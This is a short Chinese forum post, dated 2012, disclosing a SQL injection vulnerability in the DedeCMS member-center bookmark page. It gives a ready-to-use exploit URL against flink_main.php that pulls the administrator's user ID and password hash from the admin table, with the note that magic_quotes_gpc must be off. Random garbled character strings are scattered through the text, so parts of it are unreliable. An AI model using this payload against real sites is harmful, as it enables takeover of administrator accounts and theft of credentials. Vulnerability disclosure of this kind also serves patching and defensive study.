DedeCMS会员中心SQL注射漏洞, ~, w0 K- i+ R/ ]1 h! A% X& i
需要magic_quotes_gpc = Off! e! E6 u+ i" P8 [
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
, h) G* I: H# {
7 o5 j* F7 W( z$ XDedeCMS会员中心书签管理SQL注射漏洞3 w: N) X7 K1 {. `8 T
成功利用该漏洞可获得管理员密码7 P7 N0 M5 h f3 A. p9 ^
+ N; O0 a' x' j* B会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
* p. [) Y! f. y* H' T
7 {/ N; k$ G7 y9 W* R8 g/ F; ^http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
: c3 H; m) z/ C9 } |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59